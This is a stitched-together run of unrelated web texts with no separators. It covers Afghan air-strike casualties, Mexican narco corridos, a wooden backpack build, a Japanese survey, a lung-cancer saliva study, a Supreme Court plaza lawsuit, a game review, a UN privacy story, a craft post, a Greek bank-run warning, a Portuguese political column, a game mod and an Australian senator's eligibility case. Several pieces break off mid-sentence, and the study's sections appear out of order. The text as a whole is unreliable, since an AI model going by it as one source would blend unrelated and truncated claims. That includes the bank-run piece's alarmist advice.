CIVILIAN CASUALTIES
The campaign has not been without cost however and hanging over it is the fact that the air strikes have inevitably brought more civilian casualties in their wake, even if their numbers are still well below those killed by roadside bombs.
In a briefing this week, the commander of U.S. and international forces in Afghanistan General John Nicholson said they go to “extraordinary lengths” to avoid civilian casualties and have “a rigorous process” to investigate allegations.
But people from Chahardara react with deep anger to official denials that the raid on Nov. 3-4 killed at least 16 civilians.
“The helicopter started bombing at three in the morning. Afterwards, at about 6 o’clock a lot of people gathered to help and then the helicopter came back. That was the big bomb,” said Mohebullah, a village elder.
“Sixteen people were killed and six wounded,” he said, showing a handwritten list of names. “They have advanced equipment, they should be sure of who they are attacking. They should target criminals not innocent and helpless people.”
The United Nations mission in Afghanistan said reports of at least 10 deaths were “credible”. A U.S. investigation found no evidence of any civilian casualties but Capt. Thomas Gresback, a spokesman for U.S. forces in Afghanistan, said they would engage in dialogue with anyone who came forward with information.
Slideshow (2 Images)
“Most of the propaganda about civilian casualties comes from the enemy,” said Governor Omarkhil, who said only one person was killed in the incident. “In Chahardara, the Taliban made people go to the battle zone and take out dead bodies.”
The U.S. military says the Taliban deliberately shelters in houses and schools but the issue, over which former Afghan President Hamid Karzai repeatedly clashed with Washington, causes deep resentment, sapping support for the government.
“The people who were killed were all civilians, they had nothing to do with the government or the Taliban,” said Mohebullah. “Everyone lost a family member, everyone is shocked and in grief. The governor is lying.”by Chris Summers and Dominic Bailey
BBC News Online
Can a musical genre be considered so dangerous as to be banned from the radio? Yes, according to the authorities in some parts of Mexico who have forced radio stations to take action in an attempt to stamp out the culture of "narco corridos", which they accuse of glamorising drug trafficking and gangsterism. Los Tigres del Norte are the foremost exponents of the narco corrido Corridos, or ballads, have been a Mexican tradition - especially in the north of the country - for at least 100 years. The songs, based on polkas and waltzes, feature lyrics backed by accordions and brass bands. The Mexican Revolution, which lasted from 1910 to 1917, triggered hundreds of corridos about legendary figures such as Pancho Villa and Emiliano Zapata. But over the past 30 years the biggest growth area has been the narco corridos, which are based on the real lives of drug smugglers. Efforts to ban narco corridos Mar 2001: The Mexican state of Sinaloa announces a "voluntary" ban on the broadcast of narco corridos Jan 2002: Congress in the state of Chihuahua passes a bill "inviting" radio stations to ban narco corridos May 2002: Government says it cannot enforce a national ban on narco corridos because of right to freedom of speech Jul 2002: The state of Baja California Norte signs a "voluntary" ban agreement with radio stations Oct 2002: The state of Nuevo Leon bans narco corridos Among those heavily featured are the Arellano-Felix brothers, who ran a drugs cartel in the border city of Tijuana, and their arch-rival Amado Carrillo Fuentes, aka Lord Of The Skies, who was based in another frontier town, Ciudad Juarez. Elijah Wald, a former blues guitarist who has written a book on narco corridos, told BBC News Online: "The first thing a drug runner would do after a successful run was to hire someone to write a corrido about it." Corrido performers normally charge thousands of dollars, or tens of thousands of pesos, to write and perform such a piece. Mr Wald said: "I spoke to one corrido writer who wanted to be smuggled into the US. The smuggler would normally charge $1,500 but he did it for free provided the writer wrote a corrido about it." Jessie Morales' image is popular with gang members in LA Also popular are immigration corridos, such as Tres Veces Mojado (Three Times A Wetback) which was also made into a movie. Mr Wald said most narco corrido writers and performers would deny writing bespoke songs for the drug barons. "I asked one of the most well known, Reynaldo Martinez, if he wrote corridos for hire. He said 'No, but sometimes someone who likes one of my songs might give me a Land Rover.' Mr Wald said: "Los Tigres del Norte are the kings of the kings and I would be surprised if they had ever taken any money." Corridos, and narco corridos, were now "ubiquitous" in Mexico and had spread to California, Texas, Florida and other places with large Hispanic populations, according to Mr Wald. They have also become popular in Colombia and in other parts of central America, such as El Salvador. Click here for a map showing how narco corridos have spread In the US the market for Mexican regional music, including narco corridos, is worth about $300m a year, with Los Angeles being the hub of the narco corrido industry. Los Tigres' most recent album sold nearly 500,000 copies in the US alone. Corridos are a tradition that has been going since the Mexican Revolution
Mariluz Gonzalez
Univision Records Two of the newest stars, Lupillo Rivera and Jessie Morales, sport the shaven heads and jewellery fashionable with Hispanic gang members in East LA. While gangsta rap has Tupac Shakur, narco corrido has Rosalino "Chalino" Sanchez, who was murdered in Culiacan, the capital of the chaotic state of Sinaloa in May 1992. He had earlier been involved in a shoot-out with a gunman at a gig. Mariluz Gonzalez, a spokeswoman for LA-based Fonovisa Records, which represents Los Tigres and several other narco corrido stars, said: "They are not glamorising the drug dealers' lives, they are simply telling a story. They are not promoting it." Grupo Exterminador's songs tend to parody narco corrido But the Mexican authorities, appalled at what they see as the glamorising of drug smugglers and gangsters, have sought to ban the genre. The Federal Communications Commission has also taken action against several Spanish-language radio stations in the US. The Mexican Senate, unable to act itself because of freedom of speech legislation, exhorted individual states to restrict narco corridos, saying the songs "create a virtual justification for drug traffickers". Since 2001 several Mexican states have negotiated "voluntary" bans with local radio stations in an attempt to keep narco corridos off the airwaves. 'Bad example' Mario Enrique Mayans Concha, president of the Baja California branch of Mexico's Chamber of Radio and Television Industry, said: "Narco-ballads set a bad example for the younger generation." Antonio Mejias-Rentas, entertainment editor with the Los Angeles-based La Opinion newspaper, said: "There is a mixed feeling about them in the Mexican community; while there is an appreciation for the art form, there is also concern about the glorification of violence and drug consumption, much like in the gangsta rap world." He said Los Tigres were generally well-regarded, adding: "Some of their narco-themed songs are regarded as classics, but lately they are better known for songs about immigration and other social concerns." Fonovisa's Mariluz Gonzalez said: "Corridos are a tradition that has been going since the Mexican Revolution. La Banda Del Carro Rojo (The Red Car Gang) was a popular earlier narco corrido "They are a way of telling the people what is going on. It might be the truth or it could be twisted, you can't really tell." She admitted: "There are some groups who have taken money and glorified these narcos." But she said the Mexican authorities had often taken action as a way of muffling criticism. "The Tigres put out a song earlier this year called Las Mujeres del Juarez which was about the murders of women in Ciudad Juarez, which is a very controversial subject, and the local government did not like it." Despite being banned from the airwaves on both sides of the border narco corrido artists continue to sell well, Ms Gonzalez said.
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E-mail this to a friend Printable versionFor a while now I have been working with wood and wanted to make bags using it as the main material. I found inspiration from the Japanese lamellar body armor used from the 4th century. Thus designed the bag to have around 60 pieces of wood all stitched together. It worked better than I thought and after a one prototype (see below) I was able to make a fully functional backpack. The stag beetles makes it an ideal bag for any professional or amateur entomologist (it is currently for sale here).
Since I like insects I decided to display some stag beetles on some of the wooden plates in a similar fashion that insects would be displayed in a collection. Stag beetles are quite amazing animals and this is the closet I would get to ever collecting any.
On the inside of the lid I added some additional information of these creatures.
The lid lid and latch is my second attempt (see below). The multiple panels of the lid allows it to follow the curving top and the whole bag looks less like a box. The latch is very simple and locks in place with a small wooden spiral that is attached to the lid.
The images are engraved on the bag and were partly inspired by a simple beetle from the first backpack I made. There are 16 beetles in total on the bag.
The bag is lined with a tough brown fabric. The straps are made from leather and attached with 4 mm leather cord. I left this quite long and can be shortened and adjusted to fit anyone.
The bag is approximately 36 x 27 x 14 cm (14 x 11 x 5.5 inches) in size and has an approximate volume of 10.7 liter (28 gallon). This will comfortable fit A4 sized books and laptops.
The wood is 4 mm Baltic Birch (some places – such as the bottom – I use 6 mm). Each piece has several coats of lacquer. The bag weighs just over 1 kg (2.2 pound).
There is one hidden image on the bottom that might evoke a smile from some. A few additional beetles might be found on other places in the bag.
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My first lamellar backpack was made mostly using a scroll saw to cut the images. The is square and the latches are not very easy to operate. It is also over 2 kg, twice as heavy as the Coleoptera bag. I am still pleased with it and will probably use it myself.
Below are a few more images of the Coleoptera bag.
I still have still many plates left and will make several bags from these. Any suggestions (or commissions) of what themes I should use on these bags are welcome. The next one however is already decided – hominid skulls. Follow this blog to see when it is done and if it is successful.
RobroyA survey conducted by the National Institute of Population and Social Security Research revealed that 61.4% of single men aged 18-34 do not have a girlfriend and that 49% of single women in the same age range do not have a boyfriend.
The institute, which is part of the Ministry of Health, Labor and Welfare, conducts the survey every five years. It released the results of its latest survey, conducted in 2010, on its website this week.
The survey was given to 14,000 unmarried people, asking them multiple-choice questions about their opinions on marriage. Among the main reasons given by both men and women for not being married were: "I don't know how to start a relationship with a member of the opposite sex," I don't want to lose my independence," and "I don't have enough money to get married."
However, more than 80% of both male and female respondents said they would like to get married at some stage "if they can find someone suitable."
© Japan TodayMicrobes are residents in a number of body sites, including the oral and nasal cavities, which are connected to the lung via the pharynx. The associations between oral diseases and increased risk of lung cancer have been reported in previous prospective studies. In this study, we measured variations of salivary microbiota and evaluated their potential association with lung cancer, including squamous cell carcinoma (SCC) and adenocarcinoma (AC). A three-phase study was performed: First, we investigated the salivary microbiota from 20 lung cancer patients (10 SCC and 10 AC) and control subjects (n=10) using a deep sequencing analysis. Salivary Capnocytophaga, Selenomonas, Veillonella and Neisseria were found to be significantly altered in patients with SCC and AC when compared to that in control subjects. Second, we confirmed the significant changes of Capnocytophaga, Veillonella and Neisseria in the same lung cancer patients using quantitative PCR (qPCR). Finally, these bacterial species were further validated on new patient/control cohorts (n=56) with qPCR. The combination of two bacterial biomarkers, Capnocytophaga and Veillonella, yielded a receiver operating characteristic (ROC) value of 0.86 with an 84.6% sensitivity and 86.7% specificity in distinguishing patients with SCC from control subjects and a ROC value of 0.80 with a 78.6% sensitivity and 80.0% specificity in distinguishing patients with AC from control subjects. In conclusion, we have for the first time demonstrated the association of saliva microbiota with lung cancer. Particularly, the combination of the 16S sequencing discovery with qPCR validation studies revealed that the levels of Capnocytophaga and Veillonella were significantly higher in the saliva from lung cancer patients, which may serve as potential biomarkers for the disease detection/classification.
Non-small cell lung cancer (NSCLC) accounts for more than 80% of lung cancer cases, most of which are either squamous cell carcinoma (SCC, ~30-35%) or adenocarcinoma (AC, ~50%). Therefore, we mainly enrolled patients with SCC or AC for the present study. To discover candidate bacterial biomarkers for SCC or AC, we performed the sequencing analysis of 10 samples from SCC patients, 10 samples from patients with AC and 10 samples from control subjects (n=30), and identified bacteria at the genus level that showed significant differences between both lung cancer groups and the control group. The results were subsequently confirmed using qPCR to quantify the relative abundance of bacteria. Finally, we further validated these potential bacterial biomarkers on new patient/control cohorts including a total of 41 lung cancer patients and 15 contro
Based on these considerations, as well as previously reported involvement of bacteria in lung cancer tumorigenesis [ 14 - 16 ], we investigated the global variations of salivary microbiota in lung cancer patients. We quantified bacterial flora composition of saliva samples obtained from lung cancer patients and controls by sequencing V3 and V6 of 16S rDNA, using the Illumina HiSeq 2000 sequencer. This approach can identify more than 500 prevalent human bacterial species, with up to 100,000 bacterial sequences per sample. This high sensitivity and comprehensive analyses provide a new approach to investigating the relationship between lung cancer and bacterial composition.
Recent studies have reported the identification of potential biomarkers in saliva, including oral bacteria, for cancer detection [ 8 - 13 ]. Particularly, salivary microbiota has been associated with oral squamous cell carcinoma and pancreatic ductal adenocarcinoma [ 12, 13 ], suggesting that salivary microbiota may serve as an informative source for discovering non-invasive biomarkers of cancer diseases. Earlier studies have also shown serological evidence of an association between Chlamydia pneumoniae infection and lung cancer, and Chlamydia pneumoniae infection may serve as a biomarker for increased risk of lung cancer [ 14, 15 ]. Most salivary bacteria are derived from the oral cavity, although some may also arise from the esophagus and the upper respiratory tract. Survival and growth of bacteria in the oral cavity are dependent on the oral environment, which can be affected by the composition of the sputum, and habits such as cigarette smoking. These factors are related to lung cancer occurrence and progression.
Lung cancer is considered a terminal illness, with a five-year survival rate of about 11% [ 1 ]. It is the most common cause of cancer-related deaths in North America and worldwide [ 2, 3 ]. Tobacco smoking represents one of the main risk factors of lung cancer, since tobacco contains carcinogens that may induce cell transformation [ 4 ]. However, studies have also demonstrated that lung cancer involves immune responses [ 5 ], viral infections [ 6 ], and other factors that are not related to tobacco [ 6, 7 ].
The candidate bacterial biomarkers identified from the sequencing analysis were further confirmed by qPCR on the same set of saliva samples used in the discovery phase (n=30). Specific PCR primers to detect 16S rDNA were designed and shown in. These primers were chosen from previously published literature [ 23 ] or by searching the RDP database. Verified potential biomarkers were further validated on a new patient (n=41) and control (n=15) cohort using qPCR.
DNA content in saliva was isolated by SDS lysis, following phenol extraction to remove proteins in saliva. The DNA content of samples recovered by ethanol precipitation was amplified using PCR, as previously described [ 17 ]. The amplified samples were sequenced using the Illumina HiSeq 2000, and V3 and V6 of 16S rDNA were analyzed. To ensure high quality readings, we adopted stringent conditions to process the sample sequences. In brief, the following processing steps were performed: 1) all readings were assigned to corresponding samples by allowing one mismatch to the sample barcode and two mismatches to the adjacent PCR primer; 2) the readings were subsequently de-noised by the PyroNoise algorithm [ 18 ]; 3) readings containing ambiguous nucleotides or a homopolymer longer than 8 base pairs (bp) were removed, as were sequences shorter than 200 bp or longer than 1000 bp; 4) the readings were aligned using a nearest alignment space termination (NAST)-based sequence aligner to a custom reference based on the SILVA alignment [ 19 ], and sequences that did not align to the anticipated region of the reference alignment were discarded; 5) chimeric sequences identified by the UCHIME algorithm were removed [ 20 ]; and 6) readings were classified using a Bayesian classifier with the Ribosomal Database Project (RDP). Sequences of mitochondria or unknowns (those readings that could not be classified at the kingdom level) were removed. Finally, all of the effective readings were clustered into operational taxonomic units (OTUs) based on 97% sequence similarity, using the mothur program [ 21 ]. The taxonomy profiling of samples at different taxonomic levels (phylum, class, order, family, genus) were created using QIIME [ 22 ].
The study was approved by the Medical Ethics Committee at the Changzhou Second People’s Hospital (CSPH), Nanjing Medical University, and all saliva samples were collected according to the approved protocol. Written informed consent was obtained from all participants. Since smoking may affect the growth of bacteria in the oral cavity, only subjects with a smoking history of over 10 years were selected. Saliva samples were obtained after cancer detection and before treatment. None of the subjects, including the patients and the controls, manifested other diseases related to salivary bacteria, such as diabetes, immune dysfunction, herpes viral infections, or oral mucosal ulcers. Patient information is summarized in.
As shown in, the ROC analysis was performed to evaluate pre-clinical utility of these potential biomarkers and to assess if combining biomarkers may improve the sensitivity and specificity. The overall performance of the three potential biomarkers in detecting SCC and AC is summarized in. The ROC values of Veillonella were determined to be 0.81 for SCC and 0.68 for AC, and the ROC values of Capnocytophaga were 0.79 for SCC and 0.81 for AC. ROC value or sensitivity can be improved by combining Veillonella with Capnocytophaga. However, the ROC values significantly decreased when adding the third potential biomarker, Neisseria, for both SCC and AC.
To validate the three potential bacterial markers (Neisseria, Capnocytophaga and Veillonella), we used qPCR to quantify their levels in a new patient/control cohort, including 41 cancers (13 SCC, 28 AC) and 15 controls. The qPCR results indicated that the levels of Capnocytophaga and Veillonella were significantly higher in both SCC and AC groups, consistent with our qPCR verification analysis of previous 30 samples ( ). However, the validation result of Neisseria was not as promising as those found in the qPCR verification study. Although the levels of Neisseria in the AC patients were significantly lower (p=0.009) than those in the controls, the comparison of SCC with control groups did not show significance difference.
To verify the finding from sequencing analysis, we used qPCR to quantify the levels of the identified bacteria genera in the same cancer and control subjects used for sequencing analysis. A common primer pair that can amplify most bacterial 16S rDNA was used for qPCR and subsequently the qPCR results based on the common primer pair were used to normalize the levels of individual bacterial rDNA in each control and cancer samples ( ). qPCR analysis showed significantly (p<0.05) higher levels of Capnocytophaga and Veillonella but lower levels of Neisseria in cancer samples than the control samples (, ). This confirms the sequencing analysis results and supports the feasibility of using qPCR to |
to gather and converse, and is in all relevant respects like a public square or park where citizens have traditionally met to express their views on matters of public interest. However, Hodge was handcuffed, placed under arrest, and then transported to U.S. Capitol Police Headquarters for violating 40 U.S.C. § 6135, which broadly makes it unlawful to display any flag, banner, or device designed to bring into public notice a party, organization, or movement while on the grounds of the U.S. Supreme Court, thereby banning expressive activity on the Supreme Court plaza.
Rutherford Institute attorneys subsequently filed a lawsuit challenging § 6135, and in June 2013 a district court judge struck down the law finding the ban to be “repugnant” to the Constitution, “unreasonable, substantially overbroad, and irreconcilable with the First Amendment,” not to mention “plainly unconstitutional on its face.” In response, the government not only appealed that ruling, but the marshal for the Supreme Court—with the approval of Chief Justice John Roberts—issued even more strident regulations outlawing expressive activity on the grounds of the high court, including the plaza. Rutherford Institute attorneys have since filed a related lawsuit challenging the Supreme Court’s more strident regulations.
Case History
04-19-2016: Rutherford Institute Pushes Back Against Government Efforts to Muzzle Free Speech & Establish a 'Cordon of Silence' in Front of U.S. Supreme Court
01-06-2016: Free Speech Double Standard: Rutherford Institute Asks U.S. Supreme Court to Declare Unconstitutional Its Own Ban on Expressive Activity on Plaza
11-05-2015: Federal Appeals Court Refuses to Reconsider Decision Upholding 60-Year-Old Ban on Expressive Activity on U.S. Supreme Court Plaza
10-19-2015 : Rutherford Institute Asks Appeals Court to Reconsider Its Decision to Uphold 60-Year-Old Ban on Expressive Activity on U.S. Supreme Court Plaza
08-28-2015 : First Amendment Setback: Federal Appeals Court Upholds 60-Year-old Ban on Expressive Activity on U.S. Supreme Court Plaza as 'Reasonable'
09-23-2014: Rutherford Institute Attorneys Present Oral Arguments in Hodge Case, Challenging Ban on Expressive Activity on U.S. Supreme Court Plaza
01-21-2014: Rutherford Institute Asks Appeals Court to Affirm Ruling that Ban on Expressive Activity on Supreme Court Plaza Is Unconstitutional
06-14-2013: In an Attempt to Override a Federal Court Ruling Permitting Expressive Activities on Plaza, Supreme Court Outlaws Expressive Activities
06-12-2013: Victory: Declaring Ban 'Repugnant' to Constitution, Federal Court Affirms First Amdt. Rights of Protester Arrested in Front of U.S. Supreme Court
04-26-2013: Oral Argument: Rutherford Institute Calls on Court to Protect First Amendment Rights of Man Arrested for Anti-Police Sign in Front of Supreme Court
FURTHER READING:
Has the First Amendment Become an Exercise in Futility?Game Details Developer: Zenimax Online
Publisher: Bethesda Softworks
Platform: Windows (reviewed), Mac, PS4, Xbox One
Release Date: April 4 2014 (PC, Mac); June 2014 (consoles)
Price: $59.99, plus $15 monthly fee
Links: Official website Zenimax OnlineBethesda Softworks: Windows (reviewed), Mac, PS4, Xbox OneApril 4 2014 (PC, Mac); June 2014 (consoles): $59.99, plus $15 monthly fee
The Elder Scrolls games are lonely. That's their greatest strength. They're about wandering through huge worlds, picking flowers or hunting wolves or seeking out unexplored caves. They're games about freedom, which they grant to the player by pushing the biggest concerns into the background. When everything is relatively unimportant, anything can be important. So why not play Daggerfall as a local hero who picks a tiny village and does every quest there until all the cardboard cutout townspeople virtually sing your name every time you talk to them? Why not spend your time in Skyrim collecting every cheese wheel in the game, dumping them into your new house's living room? The moments of greatness in the series occur when that freedom meets the game systems in ridiculous or fantastic fashion, like cresting a hill and watching a giant kick a poacher a hundred yards or desperately fleeing from a lich king into the path of a rampaging dragon and then falling down the mountain as the two fight one another.
In contrast, massively multiplayer role-playing games (MMORPGs) have, since the days of Everquest and especially World Of Warcraft, been about control. After Ultima Online's early attempts at granting freedom to players ran into both technical and sociological problems, the genre achieved success by controlling the player experience and granting potential rewards as authored by the game developers. This certainly beats the brutal nightmare that UO's ridiculous player-versus-player system quickly became, and it's not like the genre can't include moments of beauty and ridiculousness. They just happen to occur in spite of the game's controlling systems, not in harmony with them.
For this reason, The Elder Scrolls Online (TESO) always deserved skepticism. Was there any good reason to expect that the joys of the Elder Scrolls games would translate to a massively multiplayer format? I would love to be able to tell you that TESO manages to bridge those worlds of freedom and control, combining the best of both into a beautiful paradox. Unfortunately, after playing this past weekend's semi-open beta while TESO prepares for launch in just a couple of weeks, I found that the opposite was true: it was the worst of both worlds. TESO takes the most predictable path, putting a superficial coating of The Elder Scrolls over a fairly conventional MMORPG.
TESO does a good job of converting the facts of the world of Tamriel to its purpose. The best part of this is its character creator, where the Nords, the Dunmer, the Redguards, and all the various races of the world are available for customization. For the first time since the series went polygonal with Morrowind, the characters actually look good. No “Better Faces” mod required.
The conversion of the “lore” to TESO seems to have just as much fidelity as that of the races of Tamriel, but that's not necessarily beneficial to the game. As background to a world promising freedom, the mythology of The Elder Scrolls was sufficient, but as its own motivation, it's severely lacking. In this case, similar to the (offputting) main story of Oblivion, a Daedric prince of such-and-such is attempting to merge his somewhat chilly hell dimension with Tamriel. Only you (and literally everyone else playing the game) can save the world. I have no idea why massively multiplayer games insist on having "chosen one" narratives that could quite easily be ignored, but here we are.
The biggest problem, though, is that the structure of a MMORPG removes the soul of The Elder Scrolls. The feeling of loneliness, of being able to focus on whatever aspect of the world strikes your fancy, is utterly missing. It's not just the other players running around, although that certainly doesn't help. It's the entire geographical structure of the game.
As I was starting, I noticed a loading screen that said “Pick a direction and start walking.” It's an indication that the design team did know about that critically important part of Elder Scrolls design. But the game itself doesn't actually support that directive. First of all, its geography isn't particularly open. Instead, it uses the typical MMORPG geography of having small, open zones connected by passes and channels. Here's a graveyard filled with zombies, now walk down a hill via a narrow road into a valley of mages and assassins. The enemies are also spaced in typical MMORPG fashion, hanging out in just enough space that it's difficult to simply avoid them. It's a far cry from the wandering or sparse monsters of a single-player Elder Scrolls game. There's also no real emergent conflict; you can't pull a monster next to an enemy mage or a guard until they fight.
The biggest issue, however, is that those enemies all have specific levels. If your level five character wanders into an area with level 15 monsters, you're not going to be able to do much of anything. This, combined with quests, is the chief way that MMORPGs control their players: by making it clear that you don't belong and you can't do anything of note in areas that are above your level. It would be tempting to declare that's just conventional design in the massively multiplayer genre, but refining those concepts has been an important source of MMO innovation since World Of Warcraft's release. TESO, by and large, lacks that innovation. The enemies are simply there.
Quests, meanwhile, tie players to specific regions by saying that the story and rewards are only available there. As in most MMORPGs, these quests form the basic structure for playing the game: get quest, follow arrow, complete quest. While it was possible to play Skyrim like that, there was still a level of travel that made it difficult, especially as many of those quests were far across the map with dozens of distractions along the way. In TESO, the quest structure is used to lead you around by a very short leash. The geography of the world is only important as it might be in your way to find that next monster.
That's a thoroughly mechanical process, and it can be fine—I have certainly liked my share of RPGs that have used it. So if TESO had done it well, I might have swallowed my objections. But I never had a moment that made me say, “This could be great!” I saw none of Final Fantasy XIV's joy in the form, none of Guild Wars 2's energy and personality, none of The Secret World's willingness to experiment with both story and mechanics, and none of Star Wars: The Old Republic's commitment to storytelling (or lightsabers, for that matter). It's simply a fairly competent MMORPG that uses names and an interface from The Elder Scrolls series.
And I say “fairly competent” because, well, this game has problems well in excess of what I'd expect from a major release less than three weeks out from launch. Sometimes they're weird and funny, like when your character is loaded in the same place as another player and you can only see the back of their mouth. Others issues are more serious, particularly a regular occurrence of buggy, uncompletable quests. The first two quest chains I did after the tutorial missions both led me to paths where I'd hit a wall. It's been nearly a decade since I played World Of Warcraft and waited with half a dozen people for a quest monster to respawn, a design issue most contemporary MMORPGs have figured out how to work around. And yet there I was, waiting for 15 minutes, checking out what /dance and /clap did, before deciding that the quest monster would never appear and that there was no chance of completion.
Whether this was indicative of an unfinished game was a matter of some strenuous debate in the game chat, with many fans (how does this game already have so many fans?) insisting that this was an older build used only for stress testing. In my view, an open beta also serves as publicity, and this experience did not appear to put TESO's best foot forward. Skepticism is warranted for TESO's stability—sadly in addition to its premise.The UN human rights chief, Navi Pillay, has compared the uproar in the international community caused by revelations of mass surveillance with the collective response that helped bring down the apartheid regime in South Africa.
Pillay, the first non-white woman to serve as a high-court judge in South Africa, made the comments in an interview with Sir Tim Berners-Lee on a special edition of BBC Radio 4's Today programme, which the inventor of the world wide web was guest editing.
Pillay has been asked by the UN to prepare a report on protection of the right to privacy, in the wake of the former National Security Agency analyst Edward Snowden leaking classified documents about UK and US spying and the collection of personal data.
The former international criminal court judge said her encounters with serious human rights abuses, which included serving on the Rwanda tribunal, did not make her take online privacy less seriously. "I don't grade human rights," she said. "I feel I have to look after and promote the rights of all persons. I'm not put off by the lifetime experience of violations I have seen."
She said apartheid ended in South Africa principally because the international community co-operated to denounce it, adding: "Combined and collective action by everybody can end serious violations of human rights … That experience inspires me to go on and address the issue of internet [privacy], which right now is extremely troubling because the revelations of surveillance have implications for human rights … People are really afraid that all their personal details are being used in violation of traditional national protections."
The UN general assembly unanimously voted last week to adopt a resolution, introduced by Germany and Brazil, stating that "the same rights that people have offline must also be protected online, including the right to privacy". Brazil's president, Dilma Rousseff, and the German chancellor, Angela Merkel, were among those spied on, according to the documents leaked by Snowden.
The resolution called on the 193 UN member states "to review their procedures, practices and legislation regarding the surveillance of communications, their interception and collection of personal data, with a view to upholding the right to privacy of all their obligations under international human rights law". It also directed Pillay to publish a report on the protection and promotion of privacy "in the context of domestic and extraterritorial surveillance... including on a mass scale". She told Berners-Lee it was "very important that governments now want to discuss the matters of mass surveillance and right to privacy in a serious way".
Berners-Lee has warned that online surveillance undermines confidence in the internet, and last week published an open letter, with more than 100 free speech groups and leading activists, to protest against the routine interception of data by governments around the world.With 600 (Book ) horse power under the leather-bound hood, Twilight Sparkle's Speed Reader will bring home the gold trophy in any race. Just as soon as she watches where she's going.
This is the first in a series of pony race cars I call "Equestria 500". I'm working on Luna's car and have plans for Pinkamena's Cupcake Cruiser. (She'll be less creepy this time. Pinkamena Promise.) Designs are in place for Chrysalis's car as well.
If you guys and gals have any pony car ideas, let me know and I might use them.
The car has a wire mesh body, which turned out to be a little floppy for me. I'm using wooden blocks and wheels for Luna's car so I can have more control over the sculpting. The clay is a fifty/fifty mix of firm and original sculpy with acrylic paints for the paint job. I printed out the book text, bookmarks and bumper stickers and glued them onto the car after I baked it. Since Twi's head was smaller than my thumb, it took some doing to get her paint job right.
I learned how to sculpt smoke by studying Big Daddy Roth's Rat Fink drawings, which is where I got the idea for this sculpture.
I hope you like her ride. Let the race begin!
Go Speed Reader, Go Speed Reader, Go Speed Reader goooooo.....Without a government for the last eleven days, and amid mainstream discussion of a Euro Zone exit, the Greek people are realizing that the economic and political system as they know it is rapidly descending into chaos.
With massive jobless rates that have forced many into bartering to survive, and facing credit destruction across the entirety of the country that has led to shortages of critical supplies like life saving medicines, those with any money left at national banks are taking the desperate step of withdrawing as much of their savings as they can from a banking system on its last leg.
This is what it looks like when a populace plagued with uncertainty finally loses trust in the credibility of their country’s leadership and financial system.
Anxious Greeks have withdrawn as much as 700 million euros ($893 million) from the nation’s banks since the inconclusive May 6 election, President Karolos Papoulias told party leaders yesterday, according to a transcript of the meeting posted on the presidency’s website today. Papoulias said he got the information from the head of the Bank of Greece, the central bank, George Provopoulos, according to the transcript. Via Zero Hedge
Greeks line up at ATM’s across the country to withdraw cash:
As has been said before, Greece is the canary in the coal mine.
The debt has piled up across Europe and the United States. Like the Greeks, Americans will soon hit a breaking point from which there will be no return. When it does finally happen you can be assured that your local ATM’s and banks will be inundated with panicked depositors attempting to take possession of as much of their money as possible.
But once the lines start forming it will be too late. Banks will have no choice but to limit withdrawals and close their doors (even to safe deposit box owners), because they will not have enough cash on hand to meet demand.
The choice is simple: Either prepare now and have physical assets in your possession, or join the crowds and hope the government will come up with a solution to the massive outflows that will ensue when the bank run begins.
Considering the madness we’ve seen when people can’t get their hands on a Black Friday discounted Xbox or flat screen TV, our guess is that any solution the government puts forth to deal with the anger and frustration of people who can’t access their money will involve something like this:The Latest Dhamma Uploads
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O comunismo não deu certo, mas sua fama ficou. Continuou como um espectro rondando a América Latina. Agora, o comunismo não quer mais impor seus métodos de funcionamento. Ao contrário, entra para impôr um modelo de des-funcionamento, de desmontagem do que existe sem pôr nada no lugar.
O casamento desse fantasma vermelho com o velho populismo latino é a raiz do bolivarianismo: é Lenin com Perón ou Lenin com Chavez e seu filho bastardo Maduro. Junte-se a isso um povo analfabeto e a receita podre é a Venezuela.
Na América Latina não temos o indivíduo como parte de uma comunidade. Temos um personalismo egoísta que ignora o bem geral. Por isso, surgem os salvadores da pátria. É obvio - se somos solitários e impotentes, é preciso alguém especial para nos salvar num cavalo branco, como foi o mito de El Cid na Espanha e Dom Sebastião em Portugal.
Até aqui o salvador Fidel ainda é um símbolo, mesmo gagá e com abriguinho esportivo. Na Venezuela vamos torcer para que a oposição vença e reorganize o país no labirinto que Chavez deixou. Mas, infelizmente, talvez venha aí uma ditadura militar com os generais chavistas.
Agora, para nós, a Venezuela tem, pelo menos, uma serventia. Ela é o retrato do que seríamos se o governo bolivariano de Dilma continuasse sua desconstrução do Brasil. Mas aqui nossas instituições democráticas estão resistindo a essa aventura boçal e irresponsável que nos deixou um negro buraco de R$ 170 bilhões de déficit fiscal.Experience Aliens: Colonial Marines how it should have been when it first released. This heavily balanced and thoroughly play-tested mod is built for exciting, suspenseful and most importantly, fun gameplay.
Xenomorphs have seen the most improvements, with fixes to their behaviour and core mechanics to make them truly terrifying foes, dramatically shifting the tone of the entire campaign.
This state of the bad-ass art modification for Aliens: Colonial Marines reworks, reprograms and rebalances xenomorph AI, human AI, weapon mechanics, ballistics, animations, shaders, particles, decals, lighting, and engine features to get the best out of the game possible. This is truly the ultimate Aliens gaming experience!
If you would like to see the full list of changes included in the latest version of the mod, you can check out the changelog by clicking here.
This project is a work in progress and will be expanded and improved over time to try and refine the game even further to an enjoyable experience. We're open to suggestions and feedback to help shape the future iterations of the mod!
If you would like to thank TemplarGFX for the Aliens: Colonial Marines Overhaul and help support future updates, you can now donate to James through PayPal. Donations aren't expected, but they are greatly appreciated!One Nation's Rod Culleton faces court challenge over eligibility for Senate seat
Updated
A former associate of WA One Nation senator Rod Culleton is challenging his eligibility for Parliament in the Court of Disputed Returns.
Key points Rod Culleton elected as One Nation senator for WA
Former associates have lodged an application challenging his eligibilty
Rod Culleton has been director of three companies that have gone into administration owing more than $11 million
The petition lodged with the High Court claims the Senator is ineligible to nominate as a candidate because at the time of nomination, he was convicted and awaiting sentence for a crime carrying a penalty of more than 12 months in jail.
That conviction, over a larceny charge in New South Wales, took place in Senator Culleton's absence and was annulled earlier this month to be re-heard at a later date.
However, the petitioner, former associate Bruce Bell, said he is confident his application will be successful.
"It's perfectly clear under Section 44, he nominated and on a sworn form, whether it was knowingly or otherwise... you say 'you're eligible', he wasn't, because he was under pain of sentence for a crime that potentially exceeded 12 months jail," Mr Bell told 7.30.
When contacted by 7.30, Senator Culleton said he had not heard about the petition against his eligibility but said, "'I have no concern whatsoever, why should I?"
Do you know more about this story? Email 7.30@abc.net.au
It remains to be seen whether the petition will be accepted by the Court.
Mr Bell and another former colleague, Frank Bertola, met Senator Culleton when they were fighting the banks alongside each other, now their dispute is against him, and the Senator has taken out a restraining order against the pair.
Along with Senator Culleton, Mr Bertola served as a director of horse feed company Deqmo Pty Ltd.
